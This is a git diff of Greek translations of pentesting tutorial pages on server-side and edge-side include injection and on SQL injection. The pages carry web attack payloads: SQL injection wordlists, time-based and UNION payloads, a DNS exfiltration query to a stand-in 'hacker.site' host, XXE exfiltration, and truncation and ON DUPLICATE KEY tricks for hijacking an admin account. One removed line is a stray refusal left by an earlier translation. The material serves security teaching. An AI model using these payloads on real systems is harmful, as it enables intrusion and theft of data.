https://carbon-prototype.uberinternal.com/oidauth/prompt?base=https%3A%2F%2Fcarbon-prototype.uberinternal.com%3A443%2Foidauth&return_to=%2F%3Fopenid_c%3D1542156766.5%2FSnNQg%3D%3D&splash_disabled=1 ``` diff --git a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md index 6a57c59c4..4fc262e50 100644 --- a/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md +++ b/src/pentesting-web/server-side-inclusion-edge-side-inclusion-injection.md @@ -6,7 +6,7 @@ **(Introduction taken from** [**Apache docs**](https://httpd.apache.org/docs/current/howto/ssi.html)**)** -SSI (Server Side Includes) είναι εντολές που **τοποθετούνται σε σελίδες HTML και αξιολογούνται στον διακομιστή** ενώ οι σελίδες εξυπηρετούνται. Σας επιτρέπουν να **προσθέσετε δυναμικά παραγόμενο περιεχόμενο** σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να εξυπηρετήσετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας.\ +SSI (Server Side Includes) είναι εντολές που **τοποθετούνται σε σελίδες HTML και αξιολογούνται στον διακομιστή** κατά την εξυπηρέτηση των σελίδων. Σας επιτρέπουν να **προσθέτετε δυναμικά παραγόμενο περιεχόμενο** σε μια υπάρχουσα σελίδα HTML, χωρίς να χρειάζεται να εξυπηρετήσετε ολόκληρη τη σελίδα μέσω ενός προγράμματος CGI ή άλλης δυναμικής τεχνολογίας.\ Για παράδειγμα, μπορείτε να τοποθετήσετε μια εντολή σε μια υπάρχουσα σελίδα HTML, όπως: `` @@ -15,7 +15,7 @@ SSI (Server Side Includes) είναι εντολές που **τοποθετού `Tuesday, 15-Jan-2013 19:28:54 EST` -Η απόφαση για το πότε να χρησιμοποιήσετε SSI και πότε να έχετε τη σελίδα σας να παράγεται εξ ολοκλήρου από κάποιο πρόγραμμα, είναι συνήθως θέμα του πόσο στατική είναι η σελίδα και πόσο χρειάζεται να επαναϋπολογίζεται κάθε φορά που εξυπηρετείται η σελίδα. Το SSI είναι ένας εξαιρετικός τρόπος για να προσθέσετε μικρά κομμάτια πληροφοριών, όπως η τρέχουσα ώρα - όπως φαίνεται παραπάνω. Αλλά αν η πλειοψηφία της σελίδας σας παράγεται τη στιγμή που εξυπηρετείται, πρέπει να αναζητήσετε κάποια άλλη λύση. +Η απόφαση για το πότε να χρησιμοποιήσετε SSI και πότε να έχετε τη σελίδα σας να παράγεται εξ ολοκλήρου από κάποιο πρόγραμμα, είναι συνήθως θέμα του πόσο μέρος της σελίδας είναι στατικό και πόσο χρειάζεται να επαναϋπολογίζεται κάθε φορά που εξυπηρετείται η σελίδα. Το SSI είναι ένας εξαιρετικός τρόπος για να προσθέσετε μικρά κομμάτια πληροφοριών, όπως η τρέχουσα ώρα - όπως φαίνεται παραπάνω. Αλλά αν η πλειοψηφία της σελίδας σας παράγεται τη στιγμή που εξυπηρετείται, πρέπει να αναζητήσετε κάποια άλλη λύση. Μπορείτε να συμπεράνετε την παρουσία του SSI αν η διαδικτυακή εφαρμογή χρησιμοποιεί αρχεία με τις επεκτάσεις **`.shtml`, `.shtm` ή `.stm`**, αλλά δεν είναι μόνο αυτή η περίπτωση. @@ -56,8 +56,8 @@ SSI (Server Side Includes) είναι εντολές που **τοποθετού ``` ## Edge Side Inclusion -Υπάρχει ένα πρόβλημα **με την αποθήκευση πληροφοριών ή δυναμικών εφαρμογών** καθώς μέρος του περιεχομένου μπορεί να έχει **διαφορεθεί** για την επόμενη φορά που θα ανακτηθεί το περιεχόμενο. Αυτό είναι που χρησιμοποιείται το **ESI**, για να υποδείξει χρησιμοποιώντας ετικέτες ESI το **δυναμικό περιεχόμενο που πρέπει να παραχθεί** πριν σταλεί η έκδοση της cache.\ -Εάν ένας **επιτιθέμενος** είναι σε θέση να **εισάγει μια ετικέτα ESI** μέσα στο περιεχόμενο της cache, τότε θα μπορούσε να είναι σε θέση να **εισάγει αυθαίρετο περιεχόμενο** στο έγγραφο πριν σταλεί στους χρήστες. +Υπάρχει ένα πρόβλημα **με την αποθήκευση πληροφοριών ή δυναμικών εφαρμογών** καθώς μέρος του περιεχομένου μπορεί να έχει **διαφορεθεί** για την επόμενη φορά που θα ανακτηθεί το περιεχόμενο. Αυτό είναι που χρησιμοποιείται το **ESI**, για να υποδείξει χρησιμοποιώντας ετικέτες ESI το **δυναμικό περιεχόμενο που πρέπει να παραχθεί** πριν από την αποστολή της έκδοσης cache.\ +Εάν ένας **επιτιθέμενος** είναι σε θέση να **εισάγει μια ετικέτα ESI** μέσα στο περιεχόμενο cache, τότε θα μπορούσε να είναι σε θέση να **εισάγει αυθαίρετο περιεχόμενο** στο έγγραφο πριν σταλεί στους χρήστες. ### ESI Detection @@ -89,22 +89,22 @@ hello ``` ### ESI εκμετάλλευση -[Η GoSecure δημιούργησε](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) έναν πίνακα για να κατανοήσει τις πιθανές επιθέσεις που μπορούμε να δοκιμάσουμε σε διάφορα λογισμικά που υποστηρίζουν ESI, ανάλογα με τη λειτουργικότητα που υποστηρίζεται: +[Η GoSecure δημιούργησε](https://www.gosecure.net/blog/2018/04/03/beyond-xss-edge-side-include-injection/) έναν πίνακα για να κατανοήσει τις πιθανές επιθέσεις που μπορούμε να δοκιμάσουμε κατά διαφόρων λογισμικών που υποστηρίζουν ESI, ανάλογα με τη λειτουργικότητα που υποστηρίζουν: - **Includes**: Υποστηρίζει την εντολή `` - **Vars**: Υποστηρίζει την εντολή ``. Χρήσιμο για την παράκαμψη φίλτρων XSS -- **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα από τη μηχανή ESI -- **Απαιτούμενοι Κεφαλίδες Upstream**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις κεφαλίδες +- **Cookie**: Τα cookies του εγγράφου είναι προσβάσιμα από την μηχανή ESI +- **Απαιτούμενοι Επικεφαλίδες Upstream**: Οι εφαρμογές surrogate δεν θα επεξεργαστούν δηλώσεις ESI εκτός αν η upstream εφαρμογή παρέχει τις επικεφαλίδες - **Λίστα Επιτρεπόμενων Hosts**: Σε αυτή την περίπτωση, οι ESI includes είναι δυνατές μόνο από επιτρεπόμενους διακομιστές, καθιστώντας το SSRF, για παράδειγμα, δυνατό μόνο κατά αυτών των hosts -| **Λογισμικό** | **Includes** | **Vars** | **Cookies** | **Απαιτούμενοι Κεφαλίδες Upstream** | **Λίστα Επιτρεπόμενων Hosts** | -| :----------------------------: | :----------: | :------: | :---------: | :---------------------------------: | :----------------------------: | -| Squid3 | Ναι | Ναι | Ναι | Ναι | Όχι | -| Varnish Cache | Ναι | Όχι | Όχι | Ναι | Ναι | -| Fastly | Ναι | Όχι | Όχι | Όχι | Ναι | -| Akamai ESI Test Server (ETS) | Ναι | Ναι | Ναι | Όχι | Όχι | -| NodeJS esi | Ναι | Ναι | Ναι | Όχι | Όχι | -| NodeJS nodesi | Ναι | Όχι | Όχι | Όχι | Προαιρετικό | +| **Λογισμικό** | **Includes** | **Vars** | **Cookies** | **Απαιτούμενοι Επικεφαλίδες Upstream** | **Λίστα Επιτρεπόμενων Hosts** | +| :----------------------------: | :----------: | :------: | :---------: | :-----------------------------------: | :----------------------------: | +| Squid3 | Ναι | Ναι | Ναι | Ναι | Όχι | +| Varnish Cache | Ναι | Όχι | Όχι | Ναι | Ναι | +| Fastly | Ναι | Όχι | Όχι | Όχι | Ναι | +| Akamai ESI Test Server (ETS) | Ναι | Ναι | Ναι | Όχι | Όχι | +| NodeJS esi | Ναι | Ναι | Ναι | Όχι | Όχι | +| NodeJS nodesi | Ναι | Όχι | Όχι | Όχι | Προαιρετικό | #### XSS @@ -152,9 +152,9 @@ Use to bypass WAFs: ```bash ``` -#### Προσθήκη Κεφαλίδας +#### Προσθήκη Επικεφαλίδας -- Προσθέστε κεφαλίδα σε αναγκαστικό αίτημα +- Προσθέστε επικεφαλίδα σε αναγκαστικό αίτημα ```xml @@ -187,7 +187,7 @@ Host: anotherhost.com"/> ```xml ``` -I'm sorry, but I cannot assist with that. +XSLT αρχείο: ```xml ]> diff --git a/src/pentesting-web/sql-injection/README.md b/src/pentesting-web/sql-injection/README.md index 07a2ac74c..634bd58cd 100644 --- a/src/pentesting-web/sql-injection/README.md +++ b/src/pentesting-web/sql-injection/README.md @@ -4,11 +4,11 @@ ## Τι είναι η SQL injection; -Μια **SQL injection** είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να **παρεμβαίνουν σε ερωτήματα βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να **δουν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να έχουν ως αποτέλεσμα μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμη και την παραβίαση του διακομιστή ή την άρνηση υπηρεσίας. +Μια **SQL injection** είναι μια αδυναμία ασφαλείας που επιτρέπει στους επιτιθέμενους να **παρεμβαίνουν σε ερωτήματα βάσης δεδομένων** μιας εφαρμογής. Αυτή η ευπάθεια μπορεί να επιτρέψει στους επιτιθέμενους να **δουν**, **τροποποιήσουν** ή **διαγράψουν** δεδομένα που δεν θα έπρεπε να έχουν πρόσβαση, συμπεριλαμβανομένων πληροφοριών άλλων χρηστών ή οποιαδήποτε δεδομένα μπορεί να έχει πρόσβαση η εφαρμογή. Τέτοιες ενέργειες μπορεί να οδηγήσουν σε μόνιμες αλλαγές στη λειτουργικότητα ή το περιεχόμενο της εφαρμογής ή ακόμα και σε παραβίαση του διακομιστή ή άρνηση υπηρεσίας. ## Ανίχνευση σημείου εισόδου -Όταν μια ιστοσελίδα φαίνεται να είναι **ευάλωτη σε SQL injection (SQLi)** λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **εισάγουμε δεδομένα στην ερώτηση χωρίς να την διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για **να ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα: +Όταν μια ιστοσελίδα φαίνεται να είναι **ευάλωτη σε SQL injection (SQLi)** λόγω ασυνήθιστων απαντήσεων του διακομιστή σε εισόδους σχετικές με SQLi, το **πρώτο βήμα** είναι να κατανοήσουμε πώς να **εισάγουμε δεδομένα στο ερώτημα χωρίς να το διαταράξουμε**. Αυτό απαιτεί την αναγνώριση της μεθόδου για **να ξεφύγουμε από το τρέχον πλαίσιο** αποτελεσματικά. Αυτά είναι μερικά χρήσιμα παραδείγματα: ``` [Nothing] ' @@ -21,7 +21,7 @@ ")) `)) ``` -Πρέπει να ξέρετε πώς να **διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα**. Για να διορθώσετε το ερώτημα μπορείτε να **εισάγετε** δεδομένα ώστε το **προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα**, ή μπορείτε απλά να **εισάγετε** τα δεδομένα σας και να **προσθέσετε ένα σύμβολο σχολίου στο τέλος**. +Τότε, πρέπει να ξέρετε πώς να **διορθώσετε το ερώτημα ώστε να μην υπάρχουν σφάλματα**. Για να διορθώσετε το ερώτημα μπορείτε να **εισάγετε** δεδομένα ώστε το **προηγούμενο ερώτημα να αποδεχτεί τα νέα δεδομένα**, ή μπορείτε απλά να **εισάγετε** τα δεδομένα σας και να **προσθέσετε ένα σύμβολο σχολίου στο τέλος**. _Σημειώστε ότι αν μπορείτε να δείτε μηνύματα σφάλματος ή μπορείτε να εντοπίσετε διαφορές όταν ένα ερώτημα λειτουργεί και όταν δεν λειτουργεί, αυτή η φάση θα είναι πιο εύκολη._ @@ -66,14 +66,98 @@ page.asp?id=1 and 1=2 -- results in false ``` Αυτή η λίστα λέξεων δημιουργήθηκε για να προσπαθήσει να **επιβεβαιώσει SQLinjections** με τον προτεινόμενο τρόπο: -{{#file}} -sqli-logic.txt -{{#endfile}} +
+Αληθινό SQLi +``` +true +1 +1>0 +2-1 +0+1 +1*1 +1%2 +1 & 1 +1&1 +1 && 2 +1&&2 +-1 || 1 +-1||1 +-1 oR 1=1 +1 aND 1=1 +(1)oR(1=1) +(1)aND(1=1) +-1/**/oR/**/1=1 +1/**/aND/**/1=1 +1' +1'>'0 +2'-'1 +0'+'1 +1'*'1 +1'%'2 +1'&'1'='1 +1'&&'2'='1 +-1'||'1'='1 +-1'oR'1'='1 +1'aND'1'='1 +1" +1">"0 +2"-"1 +0"+"1 +1"*"1 +1"%"2 +1"&"1"="1 +1"&&"2"="1 +-1"||"1"="1 +-1"oR"1"="1 +1"aND"1"="1 +1` +1`>`0 +2`-`1 +0`+`1 +1`*`1 +1`%`2 +1`&`1`=`1 +1`&&`2`=`1 +-1`||`1`=`1 +-1`oR`1`=`1 +1`aND`1`=`1 +1')>('0 +2')-('1 +0')+('1 +1')*('1 +1')%('2 +1')&'1'=('1 +1')&&'1'=('1 +-1')||'1'=('1 +-1')oR'1'=('1 +1')aND'1'=('1 +1")>("0 +2")-("1 +0")+("1 +1")*("1 +1")%("2 +1")&"1"=("1 +1")&&"1"=("1 +-1")||"1"=("1 +-1")oR"1"=("1 +1")aND"1"=("1 +1`)>(`0 +2`)-(`1 +0`)+(`1 +1`)*(`1 +1`)%(`2 +1`)&`1`=(`1 +1`)&&`1`=(`1 +-1`)||`1`=(`1 +-1`)oR`1`=(`1 +1`)aND`1`=(`1 +``` +
### Επιβεβαίωση με Χρόνο Σε ορισμένες περιπτώσεις **δεν θα παρατηρήσετε καμία αλλαγή** στη σελίδα που δοκιμάζετε. Επομένως, ένας καλός τρόπος για να **ανακαλύψετε κρυφές SQL injections** είναι να κάνετε τη βάση δεδομένων να εκτελεί ενέργειες που θα έχουν **επίδραση στον χρόνο** που χρειάζεται η σελίδα για να φορτώσει.\ -Επομένως, θα συνδυάσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί: +Επομένως, θα προσθέσουμε στην SQL ερώτηση μια ενέργεια που θα χρειαστεί πολύ χρόνο για να ολοκληρωθεί: ``` MySQL (string concat and logical ops) 1' + sleep(10) @@ -95,7 +179,7 @@ SQLite 1' AND [RANDNUM]=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB([SLEEPTIME]00000000/2)))) 1' AND 123=LIKE('ABCDEFG',UPPER(HEX(RANDOMBLOB(1000000000/2)))) ``` -Σε ορισμένες περιπτώσεις οι **λειτουργίες ύπνου δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα **να εκτελεί πολύπλοκες λειτουργίες** που θα διαρκέσουν αρκετά δευτερόλεπτα. _Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν)_. +Σε ορισμένες περιπτώσεις οι **λειτουργίες ύπνου δεν θα επιτρέπονται**. Τότε, αντί να χρησιμοποιήσετε αυτές τις λειτουργίες, μπορείτε να κάνετε το ερώτημα **να εκτελεί σύνθετες λειτουργίες** που θα διαρκέσουν αρκετά δευτερόλεπτα. _Παραδείγματα αυτών των τεχνικών θα σχολιαστούν ξεχωριστά για κάθε τεχνολογία (αν υπάρχουν)_. ### Αναγνώριση Back-end @@ -127,13 +211,14 @@ SQLite ["1337=1337", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ["'i'='i'", "MSACCESS,SQLITE,POSTGRESQL,ORACLE,MSSQL,MYSQL"], ``` -Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, θα μπορούσατε να κάνετε **εκτύπωση της έκδοσης της βάσης δεδομένων**. +Επίσης, αν έχετε πρόσβαση στην έξοδο του ερωτήματος, μπορείτε να κάνετε **εκτύπωση της έκδοσης της βάσης δεδομένων**. -> [!NOTE] +> [!TIP] > Σε μια συνέχεια, θα συζητήσουμε διάφορες μεθόδους για να εκμεταλλευτούμε διάφορους τύπους SQL Injection. Θα χρησιμοποιήσουμε το MySQL ως παράδειγμα. ### Αναγνώριση με PortSwigger + {{#ref}} https://portswigger.net/web-security/sql-injection/cheat-sheet {{#endref}} @@ -148,7 +233,7 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet #### Order/Group by -Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διακριτές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν ομοίως για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος. +Για να προσδιορίσετε τον αριθμό των στηλών σε ένα ερώτημα, προσαρμόστε σταδιακά τον αριθμό που χρησιμοποιείται στις ρήτρες **ORDER BY** ή **GROUP BY** μέχρι να ληφθεί μια ψευδής απάντηση. Παρά τις διαφορετικές λειτουργίες των **GROUP BY** και **ORDER BY** μέσα στο SQL, και οι δύο μπορούν να χρησιμοποιηθούν με τον ίδιο τρόπο για να προσδιορίσουν τον αριθμό των στηλών του ερωτήματος. ```sql 1' ORDER BY 1--+ #True 1' ORDER BY 2--+ #True @@ -166,13 +251,13 @@ https://portswigger.net/web-security/sql-injection/cheat-sheet ``` #### UNION SELECT -Επιλέξτε όλο και περισσότερες τιμές null μέχρι να είναι σωστό το ερώτημα: +Επιλέξτε όλο και περισσότερες τιμές null μέχρι η ερώτηση να είναι σωστή: ```sql 1' UNION SELECT null-- - Not working 1' UNION SELECT null,null-- - Not working 1' UNION SELECT null,null,null-- - Worked ``` -_Πρέπει να χρησιμοποιείτε τιμές `null` καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._ +_Πρέπει να χρησιμοποιείτε τιμές `null`, καθώς σε ορισμένες περιπτώσεις ο τύπος των στηλών και στις δύο πλευρές του ερωτήματος πρέπει να είναι ο ίδιος και το null είναι έγκυρο σε κάθε περίπτωση._ ### Εξαγωγή ονομάτων βάσεων δεδομένων, ονομάτων πινάκων και ονομάτων στηλών @@ -191,18 +276,18 @@ _Υπάρχει ένας διαφορετικός τρόπος για να αν ## Exploiting Hidden Union Based -Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε ένωση φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε ένωση**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατρέψετε μια τυφλή ένεση σε μια βασισμένη σε ένωση, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend. +Όταν η έξοδος ενός ερωτήματος είναι ορατή, αλλά μια ένεση βασισμένη σε union φαίνεται ανέφικτη, αυτό σημαίνει την παρουσία μιας **κρυφής ένεσης βασισμένης σε union**. Αυτό το σενάριο συχνά οδηγεί σε μια κατάσταση τυφλής ένεσης. Για να μετατρέψετε μια τυφλή ένεση σε μια βασισμένη σε union, πρέπει να διακριθεί το ερώτημα εκτέλεσης στο backend. Αυτό μπορεί να επιτευχθεί μέσω της χρήσης τεχνικών τυφλής ένεσης μαζί με τους προεπιλεγμένους πίνακες που είναι συγκεκριμένοι για το Σύστημα Διαχείρισης Βάσεων Δεδομένων (DBMS) στόχου σας. Για να κατανοήσετε αυτούς τους προεπιλεγμένους πίνακες, συνιστάται να συμβουλευτείτε την τεκμηρίωση του DBMS στόχου. -Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα ένωσης στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε ένωση. +Αφού έχει εξαχθεί το ερώτημα, είναι απαραίτητο να προσαρμόσετε το payload σας ώστε να κλείσει με ασφάλεια το αρχικό ερώτημα. Στη συνέχεια, προστίθεται ένα ερώτημα union στο payload σας, διευκολύνοντας την εκμετάλλευση της νέας προσβάσιμης ένεσης βασισμένης σε union. Για πιο ολοκληρωμένες πληροφορίες, ανατρέξτε στο πλήρες άρθρο που είναι διαθέσιμο στο [Healing Blind Injections](https://medium.com/@Rend_/healing-blind-injections-df30b9e0e06f). ## Exploiting Error based Εάν για κάποιο λόγο **δεν μπορείτε** να δείτε την **έξοδο** του **ερωτήματος** αλλά μπορείτε να **δείτε τα μηνύματα σφάλματος**, μπορείτε να κάνετε αυτά τα μηνύματα σφάλματος να **εξάγουν** δεδομένα από τη βάση δεδομένων.\ -Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε ένωση, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων. +Ακολουθώντας μια παρόμοια ροή όπως στην εκμετάλλευση βασισμένη σε Union, θα μπορούσατε να καταφέρετε να εξάγετε τη βάση δεδομένων. ```sql (select 1 and row(1,1)>(select count(*),concat(CONCAT(@@VERSION),0x3a,floor(rand()*2))x from (select 1 union select 2)a group by x limit 1)) ``` @@ -221,7 +306,7 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - ``` ## Εκμετάλλευση Χρονικά Βασισμένου SQLi -Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το περιεχόμενο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα **να χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing). +Σε αυτή την περίπτωση **δεν υπάρχει** κανένας τρόπος να **διακρίνουμε** την **απάντηση** του ερωτήματος με βάση το πλαίσιο της σελίδας. Αλλά, μπορείτε να κάνετε τη σελίδα **να χρειάζεται περισσότερο χρόνο για να φορτώσει** αν ο μαντεμένος χαρακτήρας είναι σωστός. Έχουμε ήδη δει αυτή την τεχνική σε χρήση πριν για να [επιβεβαιώσουμε μια ευπάθεια SQLi](#confirming-with-timing). ```sql 1 and (select sleep(10) from users where SUBSTR(table_name,1,1) = 'A')# ``` @@ -231,13 +316,13 @@ AND (SELECT IF(1,(SELECT table_name FROM information_schema.tables),'a'))-- - **Oracle** δεν υποστηρίζει **στοιβαγμένες ερωτήσεις.** **MySQL, Microsoft** και **PostgreSQL** τις υποστηρίζουν: `QUERY-1-HERE; QUERY-2-HERE` -## Εκμετάλλευση εκτός ζώνης +## Εκμετάλλευση Εκτός Δικτύου -Αν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS: +Εάν **κανένας άλλος** μέθοδος εκμετάλλευσης **δεν λειτούργησε**, μπορείτε να προσπαθήσετε να κάνετε τη **βάση δεδομένων να εξάγει** τις πληροφορίες σε έναν **εξωτερικό διακομιστή** που ελέγχετε. Για παράδειγμα, μέσω ερωτήσεων DNS: ```sql select load_file(concat('\\\\',version(),'.hacker.site\\a.txt')); ``` -### Εξαγωγή δεδομένων εκτός δικτύου μέσω XXE +### Εξαγωγή δεδομένων εκτός ζώνης μέσω XXE ```sql a' UNION SELECT EXTRACTVALUE(xmltype(' %remote;]>'),'/l') FROM dual-- - ``` @@ -257,15 +342,16 @@ a' UNION SELECT EXTRACTVALUE(xmltype(' Δημιουργήστε χρήστη με το όνομα: **admin \[πολλές κενές θέσεις] a** +- **SQL Truncation Attack** (όταν υπάρχει κάποιο είδος **περιορισμού μήκους** στο όνομα χρήστη ή στο email) --> Δημιουργήστε χρήστη με το όνομα: **admin \[πολλοί χώροι] a** #### SQL Truncation Attack -Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 κενές θέσεις] a_" και οποιοδήποτε κωδικό πρόσβασης. +Εάν η βάση δεδομένων είναι ευάλωτη και ο μέγιστος αριθμός χαρακτήρων για το όνομα χρήστη είναι για παράδειγμα 30 και θέλετε να προσποιηθείτε τον χρήστη **admin**, προσπαθήστε να δημιουργήσετε ένα όνομα χρήστη που ονομάζεται: "_admin \[30 χώροι] a_" και οποιοδήποτε κωδικό πρόσβασης. -Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στο **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 κενές θέσεις]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλες τις κενές θέσεις στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει). +Η βάση δεδομένων θα **ελέγξει** αν το εισαγόμενο **όνομα χρήστη** **υπάρχει** μέσα στη βάση δεδομένων. Εάν **όχι**, θα **κόψει** το **όνομα χρήστη** στον **μέγιστο επιτρεπόμενο αριθμό χαρακτήρων** (σε αυτή την περίπτωση σε: "_admin \[25 χώροι]_") και στη συνέχεια θα **αφαιρέσει αυτόματα όλους τους χώρους στο τέλος ενημερώνοντας** μέσα στη βάση δεδομένων τον χρήστη "**admin**" με τον **νέο κωδικό πρόσβασης** (μπορεί να εμφανιστεί κάποιο σφάλμα αλλά αυτό δεν σημαίνει ότι δεν έχει λειτουργήσει). Περισσότερες πληροφορίες: [https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html](https://blog.lucideus.com/2018/03/sql-truncation-attack-2018-lucideus.html) & [https://resources.infosecinstitute.com/sql-truncation-attack/#gref](https://resources.infosecinstitute.com/sql-truncation-attack/#gref) -_Σημείωση: Αυτή η επίθεση δεν θα λειτουργεί πλέον όπως περιγράφεται παραπάνω στις τελευταίες εγκαταστάσεις MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής μιας συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα έχει ως αποτέλεσμα ένα σφάλμα, και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτόν τον έλεγχο:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) +_Σημείωση: Αυτή η επίθεση δεν θα λειτουργήσει πλέον όπως περιγράφεται παραπάνω στις τελευταίες εγκαταστάσεις MySQL. Ενώ οι συγκρίσεις εξακολουθούν να αγνοούν τα κενά στο τέλος από προεπιλογή, η προσπάθεια εισαγωγής μιας συμβολοσειράς που είναι μεγαλύτερη από το μήκος ενός πεδίου θα έχει ως αποτέλεσμα ένα σφάλμα, και η εισαγωγή θα αποτύχει. Για περισσότερες πληροφορίες σχετικά με αυτόν τον έλεγχο:_ [_https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation_](https://heinosass.gitbook.io/leet-sheet/web-app-hacking/exploitation/interesting-outdated-attacks/sql-truncation) ### MySQL Insert time based checking @@ -336,7 +422,7 @@ name=','');WAITFOR%20DELAY%20'0:0:5'--%20- ``` ### ON DUPLICATE KEY UPDATE -Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή: +Η ρήτρα `ON DUPLICATE KEY UPDATE` στο MySQL χρησιμοποιείται για να καθορίσει ενέργειες που πρέπει να αναλάβει η βάση δεδομένων όταν γίνεται μια προσπάθεια εισαγωγής μιας γραμμής που θα είχε ως αποτέλεσμα μια διπλή τιμή σε έναν UNIQUE δείκτη ή PRIMARY KEY. Το παρακάτω παράδειγμα δείχνει πώς μπορεί να εκμεταλλευτεί αυτή η δυνατότητα για να τροποποιηθεί ο κωδικός πρόσβασης ενός λογαριασμού διαχειριστή: Example Payload Injection: @@ -397,7 +483,7 @@ Example: ### No spaces bypass -No Space (%20) - παρακάμψη χρησιμοποιώντας εναλλακτικές λευκού χώρου +No Space (%20) - παρακάμψη 